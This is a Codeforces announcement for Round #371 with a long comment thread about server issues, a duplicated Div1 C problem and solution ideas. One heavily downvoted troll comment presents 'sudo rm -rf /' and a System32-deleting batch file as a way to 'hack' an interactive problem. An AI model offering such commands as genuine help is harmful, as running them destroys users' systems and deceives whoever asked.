### arsijo's blog

By arsijo, 22 months ago, translation, ,

Hi everybody!

Codeforces Round #371 takes place on 13 September at 19:35 MSK for the both divisions. This is our first round and we hope it won't the last one.

This round is prepared by me (Anton Tsypko) and Sonechko (Sofia Melnyk). We want to say thanks to GlebsHP (Gleb Evstropov) and Sereja (Sergey Nagin) for help with preparation of this round, MikeMirzayanov (Mike Mirzayanov) for Codeforces and Polygon systems, iSlava (Viacheslav Ocheretnyi), otoshol (Mark Mikhno), BigBag (Matvey Aslandukov), winger (Vladislav Isenbaev) and AlexFetisov (Alex Fetisov) for testing problems.

It's recommended for both divisions to read the Interactive Problems Guide before the round. Scoring distribution will be published right before the start of the contest.

Good luck!

Scoring:

Div 2: 500 — 1000 — 1000 — 2000 — 3000

Div 1: 500 — 1000 — 2000 — 2000 — 2000

Upd: Congratulations to the winners:

Div 1:

Div 2:

Editorial.

UPD: We are sorry that Div 1 C is very similar to this, but the contest will be rated.

•
• +271
•

 » 22 months ago, # |   +41 Hope the Codeforces remain stable unlike last Div2 round.....
•  » » 22 months ago, # ^ |   +8 Hope so.. last round was pain :(
• »
»
22 months ago, # ^ |
-37

#### Good day, good Codeforces, and tonight I will be a purple Coder.That is really great.Thank you everyone!Thank the is world!

 » 22 months ago, # |   +26 tomorrow, eid day in bangladesh. we can celebrate eid with contest. hope it will be a great contest.
 » 22 months ago, # |   0 In previous round contain Interative problem I lose 100 point on problem C because fflush :)) I hope nobody wrong like this :))
•  » » 22 months ago, # ^ |   +1 How you passed the example then?
•  » » » 22 months ago, # ^ |   +11 my code have many if and one of them I forget fflush :((
•  » » » » 22 months ago, # ^ |   +21 My strategie usually is make functions to interact, one for reading and one for writing. You can do this almost in all cases and you won't have to be worried about flushing or parsing at every moment.
 » 22 months ago, # | ← Rev. 2 →   -27 in the name of allah, most mercifulwhich rounds contain interactive problems?i hope somebody says numbers for practice.have good contest.
•  » » 22 months ago, # ^ |   +10
 » 22 months ago, # |   -42 Oh no!!! Interactive problems again :(
 » 22 months ago, # |   +16 hope for a stable Codeforces.
 » 22 months ago, # |   +44 Eid mubarak for all muslims!
•  » » 22 months ago, # ^ |   +12 Eid Mubarak you too :)
•  » » 22 months ago, # ^ |   +14 Eid Mubarak Bro :D
•  » » 22 months ago, # ^ |   +6 Eid Mubarak Bro.
•  » » 22 months ago, # ^ | ← Rev. 2 →   +6 Eid mubarak
•  » » 22 months ago, # ^ |   +8 Eid Mubarak for all !
•  » » 22 months ago, # ^ | ← Rev. 2 →   +8 Eid Mubarak :DAmin.
•  » » » 22 months ago, # ^ |   0 the holy Eid mubarak guys.
•  » » 22 months ago, # ^ |   -9 Eid Mubarak! :)
•  » » 22 months ago, # ^ |   -9 Eid Mubarak ^_^
•  » » 22 months ago, # ^ |   0 Eid Mubarak brother!!!
 » 22 months ago, # |   -22 Wow, Sereja is back! Is he also going to become coordinator of CF rounds?His last contest was nearly 2 years ago!!! His problems are really awesome :D
 » 22 months ago, # |   -9 I so want this round to be rated and hassle-free.
 » 22 months ago, # |   -27 I feel very interest in interactive problems :) but can't solve well :( All though, good luck to me for this Contest! and today is also Eid Day for in Bangladesh! Hope good luck in this Eid Day Conteset :D I think Everything will be okay During the contest Time.
•  » » 22 months ago, # ^ |   -11 Hope you solve the interactive problem. and also Eid mubarak. :)
•  » » 22 months ago, # ^ |   +1 good luck to everyone :)
 » 22 months ago, # |   +29 How to hack the interactive problem?
•  » » 22 months ago, # ^ |   -274 If you're on Linux, write sudo rm -rf /. Make sure you have root access or it won't work!If you're on Windows, make a file named something.bat, type in it @echo off del C:\Windows\System32 save and run it. It really works!
•  » » » 22 months ago, # ^ |   +14 No one is such a arse I think!
•  » » » 22 months ago, # ^ | ← Rev. 2 →   +5 It isn't funny.
•  » » » 22 months ago, # ^ |   0 3ib da enta red
•  » » » 22 months ago, # ^ |   +1 I'm shocked! what the number of downwotes!
•  » » » » 22 months ago, # ^ |   +1 Isn't truth-seeker you ?!?! I'm shocked!
•  » » » » » 22 months ago, # ^ |   0 yes, exact! he is me! but how you got it!? actually I can't have virtual on the contests that I have participated before and I have such a fake account!
•  » » » » » » 22 months ago, # ^ |   0 Actually, we have common friend (;
•  » » » 22 months ago, # ^ |   0 What if I'm on mac? Can I do anything?? :((((((((
•  » » 22 months ago, # ^ |   0 You must submit hacking program which will interact with target
•  » » 22 months ago, # ^ |   +29 It depends on particular problem. Instruction for writting hacking program always present in an interactive problem statement.
•  » » 22 months ago, # ^ |   +62 It will be described in the statement.
 » 22 months ago, # |   +8 Eid Mobarok Everyone <3 from Bangladesh <3Best wishes for Codeforces <3
 » 22 months ago, # |   +6 Wish the Internet&server will be better..........
 » 22 months ago, # | ← Rev. 2 →   +11 Wow! Interactive problems this time. Expecting Stable CF round this time :)
 » 22 months ago, # |   +6 why interactive man?
•  » » 22 months ago, # ^ |   0 Because the last line is " It's recommended for both divisions to read the Interactive Problems Guide before the round"
 » 22 months ago, # | ← Rev. 3 →   +18 I have problem with registration to contest... I register and then I click to list of participants and I still see "Register Now" although I was registered...
 » 22 months ago, # | ← Rev. 4 →   0
 » 22 months ago, # |   0 It will be a rated round ?
•  » » 22 months ago, # ^ |   0 yes
•  » » 22 months ago, # ^ |   +11 I'm shocked this comment is so far down, considering how it usually goes...
 » 22 months ago, # |   +12 **** Get ready fellas! :P :P
 » 22 months ago, # | ← Rev. 3 →   0 it's 10 left minute to start the round and the score distribution is not announced yet !UPD : now it's 1 min and nothing announced :(
 » 22 months ago, # |   0 Relatively few people registered(in both divs). I hope that means a working website!
 » 22 months ago, # |   0 It took me only 10 mins to register for the contest this time.
 » 22 months ago, # |   0 Is everything working fine for everyone ?? For me on main codeforces page top menu is invisibile like in mobile view
•  » » 22 months ago, # ^ |   0 No. I wait 5 minutes each time for submit page to open.
 » 22 months ago, # |   0 the last round my first time solve two problem and from first submission , I hope do it again :)
 » 22 months ago, # |   +3 Eid mubarak to all :) hoping a great contest
•  » » 22 months ago, # ^ |   0 লাইক দিয়ে পাশে আছি, ফ্রান্স।
 » 22 months ago, # |   +8 I'm not able to submit You should be registered for the contest to be able to submit but on the contests page it says registration completed.
•  » » 22 months ago, # ^ |   +4 I am having the same problem.
•  » » » 22 months ago, # ^ |   0 fixed
 » 22 months ago, # |   +1 Cannot submit.It says should be registered for the contest even though I registered.
 » 22 months ago, # |   +1 I cant see other codes when block my problem :(
 » 22 months ago, # |   +20 cant open room, random pages are loading ! clicking on a submission, it says soln already hacked or resubmitted ! but thats not the case
 » 22 months ago, # |   +3 Not able to hack solutions
 » 22 months ago, # |   0 Can't submit any solution.when I click submit button, I just see nonsense err.
 » 22 months ago, # |   0 How can I test interactive code on ideone? Any help will be deeply soulfully appreciated :D
•  » » 22 months ago, # ^ |   +4 Write some code which will answer the questions automatically instead of answering them in stdin
 » 22 months ago, # | ← Rev. 2 →   +93 It is just unfair to include problems like this div2E/div1Cas you can see a lot of people had it passed in around 20 minutesthere is one who solved it in 4 minutes ( after he solved A ) 13C - Sequenceit's here :) too much creativity
•  » » 22 months ago, # ^ |   +3 Man! Now I get the reference. I thought it was a joke only I didn't get!!
•  » » 22 months ago, # ^ |   +56 Pasting link to the same problem, with visible solutions, during the contest... genius.
•  » » » 22 months ago, # ^ |   0 The problem is not the same.
•  » » » » 22 months ago, # ^ |   +15 You are right of course, but the only difference is non-decreasing vs. increasing, what is handled by line t[i] -= i;. So, almost the same problem.
•  » » » 22 months ago, # ^ |   +14 It is genius!!! Way to protest like a boss :p
•  » » » 22 months ago, # ^ |   +12 it was actually posted here blog about 1 hour before the end of the contest so posting a comment before 10 minutes isn't that genius
•  » » » » 22 months ago, # ^ |   +91 Omg, make it unrated pls
•  » » » » 22 months ago, # ^ |   +38 And your comment here fixed the whole situation.
•  » » » » » 22 months ago, # ^ |   -7 At least don't make it unrated just remove the question from consideration.
•  » » » » » » 22 months ago, # ^ |   +19 Great idea !!
•  » » » » » » » 22 months ago, # ^ |   +13 Yeah if you just solved the C or smth you better be GO TO HELL IT'S THE PERFECT IDEA EVERRRRRRRRR!!!!!!Seriously, it looks like "great idea" to you?
•  » » » » » » » » 22 months ago, # ^ |   +20 Oh I forgot that it would be unfair for those who solved C only.... or maybe I didn't forget and it was just sarcastic comment.
•  » » » » » » » » 22 months ago, # ^ |   +27
•  » » » 22 months ago, # ^ |   +23 the real genius is the problem setter i mean i wouldn't have pasted anything if it weren't some old codeforces problem
•  » » » » 22 months ago, # ^ |   +124 Do you remember all problems that ever been on Codeforces? Neither do I, GlebsHP, authors, MikeMirzayanov or anybody else. Posting such link during the contest makes things only worse; you (and all who did the same thing except you) could've posted such a link after the contest ends so that results of people wouldn't be affected.After all, there is no difference between knowing a solution of problem because you studied many algorithms (even unpopular ones) and knowing the same problem beforehand. It's your advantage, use it. Posting it in public is equivalent to spoiling the solution during the contest.
•  » » » » » 22 months ago, # ^ | ← Rev. 4 →   +63 I just checked the thread by spiral_out. It appears this comes on the first page by a simple google search. Sure a co-ordinator shouldn't be expected to do this, but it's mind blowing how the author didn't even spend few minutes checking if it's original or not by a simple google search.After all checking if your ( as an author ) 5-8 tasks are original ( as in not easily googleable) or not has nothing to do with you knowing the whole problem set on CF.
•  » » » » » » 22 months ago, # ^ |   -8 I agree with you. Still, this is not an excuse for ruining contest for everybody else. This is not how the contest ethics works.But let me ask you a question. You may often see a problem in div2 and even in div1 that may easily be reduced to a shortest path problem in directed weighted graph. You type in Google "shortest path algorithm" and it suggests you "Dijkstra" even until you press Enter. Does that frustrate you in the same manner? In this case it is not even the same problem; one should come up with replacing a[i] with a[i] - i trick to transform it to that problem.
•  » » » » » » » 22 months ago, # ^ |   +8 ok dude , you don't remember any and you don't need to actually remember all problems on codeforcesbut that doesn't mean checking if a problem is googlable or not :)
•  » » » » » » » » 22 months ago, # ^ |   +56 You are intentionally ignoring my point :) I'm not trying to find excuses for authors and coordinator, it is indeed a fail from their side.What I'm talking about is that you and the guy who posted something at the middle of the contest did the wrong thing. In the conditions when this fail already happened, posting the link to the problem is a wrong move. Do not do that. Post it after the contest ends.And yes, I know you were the second one to do that. This is not an excuse for you. Hope it is now clear what I mean.At this moment I stop this conversation.
•  » » » » » » » » 22 months ago, # ^ |   0 Is this a[i] — i trick a trivial transformation? Enough to deem the problem non-original? (Genuine question — I didn't know the trick — I was wondering how common it is).
•  » » » » » » » » » 22 months ago, # ^ |   0 Not exactly trivial, but it was obvious to me and should be to most people who are at the level of usually solving div1C. Basically, subtracting 1 from every difference.
•  » » » » » 22 months ago, # ^ | ← Rev. 2 →   +18 ok i am the guilty guysome guy just copies an old codeforces problem and include it as a div1C problem and some pedophile posts the solution one hour before the end of the contestand i am the one who is guilty i just commented here 5 minutes before the endgo paste the statement into google and you will find a post on quorathanks people
•  » » » » » » 22 months ago, # ^ |   0 Triggered lol.
•  » » » » » 22 months ago, # ^ |   +10 We can agree that it's impossible to know all problems. But Google does. IMHO every setter before the very beginning of preparing the problem should try to find it on the internet. Otherwise, such situations will surely happen
•  » » » » » » 22 months ago, # ^ |   0 But Google knows so many things it is hard to specify what are you looking for. Googling tasks is not easy. I copied my code from my high school's online judge, but was unable to find a thread on CF about that task which I know I have read.
•  » » 22 months ago, # ^ | ← Rev. 2 →   +18 Change a[i] by a[i] — i, it becomes 13C. Is it correct?
•  » » » 22 months ago, # ^ |   +4 Yes I just realized -_-
•  » » » 22 months ago, # ^ | ← Rev. 2 →   0 12 or 13 ?UPD: fixed
•  » » 22 months ago, # ^ |   +5 I accidentally down-voted your comment while trying to up-vote it and Codeforces won't let me change it. Sorry.
•  » » 22 months ago, # ^ |   +10 Also A isn't very original, I am sure I have seen easy variations of it twice in recent contests.
•  » » 22 months ago, # ^ |   0 Waiting for rated contest for infinity time and now it will be unrated with almost 100% probability. That's fun.
•  » » » 22 months ago, # ^ |   +4 It is still funnier than losing a lot of ratings because of not Googling the solution :P
•  » » » » 22 months ago, # ^ |   0 No, unrated is fine for me, because I didn't google the solution. And got too much trouble with Div1B.
•  » » » » » 22 months ago, # ^ |   +12 I think it didn't affect so much because people are not accustomed to reading blogs during contests. Div 1 people would not google and for Div2 the number os submissions show people being unaware of it. Around 300 submissions should have raised suspision.
•  » » » » » » 22 months ago, # ^ |   +23 Div1 people would not google? You'd be surprised...
•  » » » » » » » 22 months ago, # ^ | ← Rev. 3 →   +3 I've been told that nowadays most valuable skill is not to know a lot of information, but rather to be able to get information you are missing in a short time :) (Ideally — without bothering other people with your questions while doing it)
•  » » » » » 22 months ago, # ^ |   -7 Me too. But from now on google and I will be best friends.
•  » » » » 22 months ago, # ^ |   -7 *the problem is well known**it was spoiled halfway through the contest so many people saw the solution**there is one more contest in 4 days :D*
•  » » » 22 months ago, # ^ |   +6 Wait, I didn't get it, your reason for unrated event is "there was a problem in a contest which is rather well-known", right? :) Not technical issues, not problems being badly prepared, but the fact that some problem doesn't contain brand-new idea?Maybe it is time for me to hope for round being unrated as I didn't manage to solve D which is also well-known and classic :)
•  » » » » 22 months ago, # ^ | ← Rev. 2 →   0 I believe it was sarcasm, right? :)Anyway, why is D well-known and classic? I didn't come up with a solution with reasonable running time asymptotics and submitted parallel binary searches with 2D Fenwick tree and heavy optimizations that works in O(nmlog3n). Though, on pretests and my own tests here on CF it runs for <4s.UPD: ok, I got it. The solution is to do a binary search and then make a 2d-minimum query in the small rectangle. What exactly here is well-known and classic?
•  » » » » » 22 months ago, # ^ | ← Rev. 2 →   +1 If you mean first part of my answer — I missed the fact that there were some comments about this problem and discussions right during a contest, yet I don't think it is enough for making it unrated.For a second part — my solution is far from being cool, it is similar to your idea, and there is high probability that it will fail:). Even if it will pass — I haven't actually solve problem in terms of figuring out proper solution, and that makes me sad anyway. For me "find maximum in a static submatrix (using sparse table)" sounds like a very classic problem.UPD. Oh, it seems that for other people transition to binary search + max.query was not so obvious, while I got stuck on a part about finding max in O(1).
•  » » 22 months ago, # ^ |   0 I think it's okay as long as the chance this event happened in codeforces is very low. I mean if you skilled enough, everything on internet could become the spoiler for the problem. The point is getting solution with that method is also required certain skill.
•  » » 22 months ago, # ^ |   0 It's quite funny that 713C is similar to 13C. Maybe it was intended joke? lol
 » 22 months ago, # |   +50 How to solve Div.1 C???
•  » » 22 months ago, # ^ | ← Rev. 4 →   +7 Let b[i] = a[i]-i. Then it can be thought that you're to make non-decreasing sequence instead of increasing sequence. From that, a dynamic programming idea comes out. D[i][j] : minimum cost of making b[1] ~ b[i] sorted, such that b[i] = j: D[i][j] = min(D[i-1][k]) + abs(b[i]-j) for k <= j. j has to be one of the initial values of b, so the time complexity is O(n^2).http://codeforces.com/contest/713/submission/20589839
•  » » » 22 months ago, # ^ |   +8 How does b[i]=a[i]-i convert strictly increasing problem to non decreasing?
•  » » » » 22 months ago, # ^ | ← Rev. 2 →   +3 "a[i] is increasing" and "b[i] = a[i]-i is non-decreasing" are equivalent.
•  » » » » » 22 months ago, # ^ |   +3 Okay it founds an answer but how to be sure it's the smallest one? We convert our array, how can it be the right answer?
•  » » » » » » 22 months ago, # ^ |   +3 Suppose not. Suppose there is a set of moves that's smaller than our answer. use the same set of moves on b[i] = a[i] — i. It will be a non decreasing array. Which will cause a contradiction.
•  » » 22 months ago, # ^ |   0 Div1C: go left to right, increase values greedily up and count how much you add. Also maintain a sorted vector of best costs for moving down the current stairs by one. E.g. you pay 1, 1, 1, then 2, then 3, etc. Costs are groupped so vector consists of pairs (cost, number): (1,3),(2,1),(3,1),...When next element is larger than current height, you increase all costs by 1 and push (1, h-1-x) to the vector's back.When next element is smaller or equal, you increase it by d to make it higher. Then you reduce the latests d costs by 1 (you may need to split some group in vector into two groups). And you increase all other costs by 1.Then you take all non-positive costs from vector's back and "use" them: decrease current answer and height.So this vector grows linearly, leading to O(N2) solution. This can also be seen as DP.
•  » » 22 months ago, # ^ | ← Rev. 2 →   +8 Missed the registration...a pity.I figured out a solution via MCMF.First we can consider another array: a2 - a1, a3 - a2, a4 - a3, ..., an - an - 1.Let's consider this new array as bi, and find the impact of increasing ai to bi.For increasing a1, we get b1 decrease by 1.For increasing ai (1 < i <  = n - 1), we get bi - 1 increase by 1, and bi decrease by 1.For increasing an,we get bn - 1 increase by 1.Notice that we can add arbitrary number to ai.Let's view bi as n-1 piles of stones(allowing minus stone number), then we can perform 2 types of operations.1.Generate 1 stone at pile 1 or pile n-1.Cost is 1.2.Exchange 1 stone between adjacent piles.Cost is 1.Out goal is to make every pile at least 1 stone.Let's solve this model by MCMF. Categorise bi as three types A(for piles with number more than 1), B(for piles with number less than 1), C(for piles with number exactly 1). Connect SOURCE to b1 and bn - 1 edges with infinity flow and cost 1.(Meaning generating stones.) Connect SOURCE to type A vertex edges with (bi - 1) flow and cost 1.(Meaning redundant stones.) Connect type B vertex to DRAIN edges with ( - bi + 1) flow and cost 1.(Meaning required stones.) Connect bidirectionally between adjacent vertexes edges with infinity flow and cost 1.(Meaning exchange.) Perform MCMF and you are done.
 » 22 months ago, # |   +2 Problem B. Filya and Homework ***** In this problem, Filya is allowed to pick any integer X, even x = 0. For each element of the array he can decide whether to add x to it, subtract x, or do nothing. He can choose to not add x at all, or not subtract x at all, or just do nothing at all. For each particular element he can add x to it (or subtract) no more than once. This costed me 3 WA -_-
•  » » 22 months ago, # ^ |   +1 Yes, same here. I got 1 wa and waited for an announcement to clarify this. :/
 » 22 months ago, # |   +5 fml. .
•  » » 22 months ago, # ^ |   0 No, 3 1 2 4
•  » » » 22 months ago, # ^ | ← Rev. 2 →   0 I had taken care of this case, and mistakenly typed > instead of >=.
•  » » 22 months ago, # ^ |   0 fml, lol :D
 » 22 months ago, # |   +1 That was a lot of hacks!
 » 22 months ago, # |   0 I have a complicated solution for div2D, too easy to make bugs...
•  » » 22 months ago, # ^ |   0 Yeah i hope it had strong pretests...
 » 22 months ago, # |   0 Could problem C div 2 solved using simple bst? I represent the structure using 1D array.
•  » » 22 months ago, # ^ |   0 It's just simple trie problem.
•  » » » 22 months ago, # ^ |   +1 Trie sounds like an overkill. Can't we simply use maps here?
•  » » » » 22 months ago, # ^ |   0 Lol, I just copied my implementation of trie and changed it a little bit.
•  » » » » 22 months ago, # ^ |   0 I think no because of anti-hash test!! not sure though!!
•  » » » » 22 months ago, # ^ | ← Rev. 2 →   +1 I kinda worried about maps speed so I'm using array instead. So the root of tree is 1. If current node is x and the digit is odd, then we visit node number x*2 + 1, else we visit node number x*2. I'm taking advantage that the maximum number of digits is 18. So 2^18 < 600000.
•  » » » 22 months ago, # ^ |   0 I'm sorry if it sounds dumb. But Isn't trie derived from bst?
•  » » » 22 months ago, # ^ |   +6 Can't we just use an array of size 2^18 ?
•  » » » » 22 months ago, # ^ |   0 Now I feel stupid for coding a trie from scratch -_- .
•  » » 22 months ago, # ^ |   +8 Did you trie your best?
•  » » » 22 months ago, # ^ |   +4 I can't even... you're the odd one aren't you?
•  » » » » 22 months ago, # ^ |   +4 I am unable to think of a story for these comments.
•  » » » » 22 months ago, # ^ |   0 Yes. I know I'm different :)
•  » » 22 months ago, # ^ |   0 A simple binary tree ( 1D array ) is enough ... you put number of strings that have same parity structure in leafs ( 1 << 18 ) ... code : http://codeforces.com/contest/714/submission/20591546
 » 22 months ago, # |   0 Problem C isn't just old — it's a classical min cost flow problem. :(
 » 22 months ago, # |   +2 Very weak pretests for A and B, especially B. My solution is completely wrong, but when I noticed it, it was already locked...
 » 22 months ago, # |   +5 C can be solved in O(Nlog N) by using the fact that abs(x-k) is convex function, I think. (I have made almost the same problem and used in Japanese domestic contest.)
•  » » 22 months ago, # ^ |   +22 I also gave the problem with very similar trick about convexity to the Yandex Algorithm 2016 Finals (problem D).
•  » » » 22 months ago, # ^ |   +8 I solved that D problem, but have no idea how that relates to this problem. My codes to those 2 questions have literally nothing in common (even headers are not common xD). Could you elaborate a bit?
•  » » » » 22 months ago, # ^ |   +28 Replace a[i] with a[i] - i to transform problem the non-decreasing variant (this is not a necessary step, everything else may be done even in original statement, but it makes things easier to understand). Consider two DPs: E[i][x] = minimum penalty for making i-th number be equal to x and S[i][x] = minimum penalty for making i-th number be smaller or equal to x. This obviously does not fit in TL and ML, but we will deal with it.We have: E[i][x] = abs(a[i] - x) + S[i - 1][x] and . Actually this means that E[i] and S[i] being treated as functions of real variable x are piecewise-linear, convex and S is obviously non-increasing. This allows us to store only the vertices of the plot of E[x] in map and simply recalculate them in O(n) (with extra logn factor from the map).This may be simply improved to O(n2) by storing the points not in the map, but in the array, and furthermore, by storing them in some data structure that allows adding a linear function and binary searches (like segment tree or Cartesian tree), the running time may be improved to . The code is literally 40 lines.
•  » » 22 months ago, # ^ | ← Rev. 3 →   0 Could you elaborate please? Ternary search for the first value would work?UPD: I see it's not enough to determing the full sequence.
 » 22 months ago, # | ← Rev. 2 →   +21 Hard Work Today XD thanks for the nice contest =D
 » 22 months ago, # |   +8 For Div2 A, most of the hacks included the cases when there was no intersection between the time intervals like [1, 2] and [3, 4].Some other were due to the silly mistakes by the users.Nice contest though.
•  » » 22 months ago, # ^ |   0 Too bad it is going to be unrated .
•  » » » 22 months ago, # ^ | ← Rev. 2 →   +2 If it is unrated....Good for me...I got a lot of penalty in B. Misread it completely -_-....BTW it is not helpful if there are too many unrated contests
•  » » » 22 months ago, # ^ |   0 Why ? those hacks were "due to the silly mistakes by the users."
 » 22 months ago, # |   +50 Interactive problems look fun until you get WA and then you need to write more code to have a chance to find a bug(or spend even more time working as interactor while debugging).
•  » » 22 months ago, # ^ |   0 Totally agree!
•  » » 22 months ago, # ^ |   +32 I think it's better to start with writing your own ask_query function, what should lead to something like this (version after changing it to the submitable version): int ask(int x1, int y1, int x2, int y2) { printf("? %d %d %d %d\n", x1, y1, x2, y2); fflush(stdout); int ret; scanf("%d", &ret); return ret; /* int ret = 0; if(x1 <= 17 && 57 <= x2 && y1 <= 80 && 80 <= y2) ++ret; if(x1 <= 25 && 88 <= x2 && y1 <= 51 && 61 <= y2) ++ret;; return ret; */ } 
 » 22 months ago, # |   0 How can my solution for 2B be hacked?https://ideone.com/L9PBla
•  » » 22 months ago, # ^ |   0 31 1 2The answer is "YES"
•  » » » 22 months ago, # ^ |   0 Thanks.
 » 22 months ago, # |   +36 Damn, C was already discussed on CF few times :/. And in xdd. Copy pasted 4 years old code (like probably many people).
•  » » 22 months ago, # ^ |   +7 yeah there is genius who got it in 4 minutes
•  » » 22 months ago, # ^ |   +8 Can you provide a link with the thread where it was discussed in O(nlogn)?
•  » » » 22 months ago, # ^ |   +10 I tried to find it right now, but wasn't able to do that. I remember that it was on USACO and someone mentioned super short solution by ecnerwal, but it wasn't sufficient for me to find it :(.
•  » » 22 months ago, # ^ | ← Rev. 2 →   +28 I knew the problem before as well, but not the NlogN solution (just the easy N^2). Can you please explain me the more efficient one or provide a link to some solution? I've been thinking for a while at it and was unable to solve it that fast.
 » 22 months ago, # |   0 Eid Mubarak Everyone :)
 » 22 months ago, # |   +8 how to solve div 2 E
 » 22 months ago, # |   0 Can anyone share with me his solution for Div2/C using a trie data structure? My solution using trie exceeded the time-limit I am not sure why.
•  » » 22 months ago, # ^ |   0 why not use stl map? trie is difficult to code, maybe you have some bugs
•  » » » 22 months ago, # ^ |   0 What is your approach to use stl map?
•  » » » » 22 months ago, # ^ |   +3 you can also use Array[1<<18] to save the binary system number , and then find the count
•  » » » » » 22 months ago, # ^ |   0 That's what i ended up doing :) But at first I tried solving it using a trie and it exceeded the time-limit, but I saw people in the comments here say that their trie solutions passed..
•  » » 22 months ago, # ^ |   0
•  » » » 22 months ago, # ^ |   0 Thank you!
•  » » 22 months ago, # ^ |   +1 Here is my solution , using trie data structure.http://codeforces.com/contest/714/submission/20581318
 » 22 months ago, # |   +1 a nice contest
 » 22 months ago, # |   +3 when judge? i am newbee
•  » » 22 months ago, # ^ |   +1 You'd better go and do something else instead of waiting, because it can be (very) long. :P
•  » » » 22 months ago, # ^ |   +4 it is 2:52 in china.... i want to sleep but i also want to know rating!!!!!!!!!!!!
•  » » » » 22 months ago, # ^ |   +3 When will the ratings be updated?
•  » » » » » 22 months ago, # ^ |   +12 Takes hours at times. Relax. Come back after a sleep.
 » 22 months ago, # |   0 How to solve Div 2 D, binary search for each corner of each rectangle? I get stuck on finding columns of second rectangle, it is just too many cases? Anything simpler?
•  » » 22 months ago, # ^ |   0 Binary search for each edge of each rectangle: http://codeforces.com/contest/714/submission/20603361
 » 22 months ago, # |   +5 What is the intended time complexity in D? I wrote 10^9 solution and it passed pretest in <2s.
•  » » 22 months ago, # ^ |   +1 And my 10^9 is giving TLE on pretests :(
•  » » 22 months ago, # ^ |   +10 My solution is O(N * M * logN * logM)
•  » » 22 months ago, # ^ |   0 Finally it passed.
 » 22 months ago, # |   +32 I failed to hack someone 3 times on problem B cause he put that :( :(
•  » » 22 months ago, # ^ |   0 LOL, should notice it :P
•  » » » 22 months ago, # ^ |   0 i didn't notice that cause i was in hury :\
•  » » 22 months ago, # ^ |   -9 It is his loss, not yours.
•  » » 22 months ago, # ^ | ← Rev. 2 →   +1 People regularly put #define long long int int to disturb hackers.Update : see the comments below. :P
•  » » » 22 months ago, # ^ |   +6 #define int long long actually...
•  » » » » 22 months ago, # ^ |   0 Indeed, sorry.
•  » » 22 months ago, # ^ |   -8 Don't you guys run their codes on your machine at least??????????
•  » » » 22 months ago, # ^ |   0 That takes too long to copy down. If you mean do that automatically, it's against the rules (and also kinda makes hacking silly as you could script the whole thing).
•  » » » » 22 months ago, # ^ |   0 So, you'll rather lose points than test? Odd....
•  » » » » » 22 months ago, # ^ |   0 you cant copy the code you are trying to hack. do not reply to this comment. i know you have never tried to hack.
•  » » » 22 months ago, # ^ |   0 no of cours it takes so much time
•  » » 22 months ago, # ^ |   +1 Problem B's constraints are within 10^9, why would long long be necessary?
•  » » » 22 months ago, # ^ |   0 sorry i mean on problem A
•  » » 22 months ago, # ^ |   0 Also notice when in someone's code there is an "if()" which it is wrong he might did this : if();
 » 22 months ago, # |   +11 In problem D, the answer is 0 when there is no valid square i.e the region is empty, which I think should be noted in the statement. And I got WA on pretest 4 due to this issue.
 » 22 months ago, # |   +3 When will the ratings be updated and system testing be done?
 » 22 months ago, # |   0 What is the solution to div.2 B?
•  » » 22 months ago, # ^ |   0 We can make all values equal to either maximum value, minimum value or average of maximum and minimum(if (max+min) is divisible by 2).
•  » » » 22 months ago, # ^ |   0 get the median of all numbers without repetition store the values of abs(median-v[i]) in set if the size of set greater than 1 then the answer NO else the answer yes
 » 22 months ago, # |   +10 Could you explain me why still am i unrated after finishing Round 370 and 371? I wnat to get my color...
•  » » 22 months ago, # ^ |   0 370 was unrated due to server issues. 371's ratings are yet to be updated.
•  » » 22 months ago, # ^ |   0 wait for it ..... system testing is still going on!
•  » » 22 months ago, # ^ |   0 Thanks ,it's my first time to have contest like this so i needed your opinion
 » 22 months ago, # |   +7 It seems Round 371 is gone from the contest list.
 » 22 months ago, # |   0 Why does finding max L and min R work in Div2A?
 » 22 months ago, # |   +10 div1 E++: What if the directions can change during the game? (And I mean something better than .)
•  » » 22 months ago, # ^ | ← Rev. 3 →   0 EDIT: changed "j-i" to "j-i+2", sorry for mistake.I misunderstood a problem first and tried to solve such a version. My guess was that we should change the input to distances between consecutive owls and then print: where $S[a,b] = d[a] + d[a+1] + \ldots + d[b]$.The reason is that numbers in an interval of length d can be decreased by only d + 1 owls (other owls will never help because it's stupid to overtake/outrun an other owl). So, only j - i + 2 owls can fight against an interval of length j - i + 1. And there is also a case when we consider a whole interval, what explains in the formula.I don't know if it's enough to print the above formula. And it's quite known how to compute it fast — one must binary search the answer first (and then it isn't hard).
•  » » » 22 months ago, # ^ |   0 I looked at E at some point in the contest, immediately recognised binsearch (it's quite common in this type of problems with parallel actions) and also misunderstood it as that at first. It seems harder to me than the contest problem — the optimal strategy within the binsearch isn't very clear.Consider the case where the owls' positions are -2,0,2 with M=11. The optimal answer is 3 when the owl in the middle takes the two chairs next to it. Does that work with your formula? (Your "distances" are actually the number of chairs strictly between two owls, right? And j - i should be |j - i| + 1, right?)
•  » » » » 22 months ago, # ^ |   0 You test produces distances 1, 1, 6. My formula considers an interval with the number 6 only with fraction , what is correct.(j - i) means (j - i)%n, because we are on the circle.In your test I take maximum of 1 / 2, 1 / 2, 6 / 2, (1 + 1) / 3, (1 + 6) / 3, (6 + 1) / 3, (1 + 1 + 6) / 3. Reminder: taking the whole circle is a special case with dividing by len instead of len + 1.
•  » » » » » 22 months ago, # ^ |   0 I was confused by the denominator j - i primarily because of division by zero. So it's Unable to parse markup [type=CF_TEX] according to what you write, or [number of owls in the summed interval including the two border ones].If the distances are 2,4,6, then your formula gives 4, right?
•  » » » » » » 22 months ago, # ^ |   0 Oh, there should be S[i, j] / (j - i + 2) everywhere, I'm sorry for that.I managed to think j - i + 1 + 1 = j - i, which isn't really correct.Yes, my formula gives 4 for 2, 4, 6. Is it wrong?
•  » » » » » » » 22 months ago, # ^ |   0 Yeah, it is. You'd need everyone to take a chair in every move since 2 + 4 + 6 = 4·3, so nobody can turn around (the answer to the contest problem would need to be 4). That won't work for the pair with distance 2 and the 2 chairs between them.
•  » » » » » » » » 22 months ago, # ^ |   0 Oh, we have two different wrong ways to understand the statement. I thought that a chair is removed and each time we choose to move to one of two neighbouring chairs. While your version has empty places where chairs used to be.
•  » » 22 months ago, # ^ |   0 Lol, so this wasn't the actual version -_-? Something is wrong if all of us misread it (either with us or with statement).
•  » » » 22 months ago, # ^ |   0 The statement is correct, it's probably that people good enough to solve E read statements too quickly and don't notice that step 2 is out of the loop.
•  » » » 22 months ago, # ^ |   +5 Usually numbered list in this kind of problem describes one turn, and it fitted here very well.
 » 22 months ago, # |   +7 Div2 is still going to be rated right?there are only 28 accepted solutions on E.
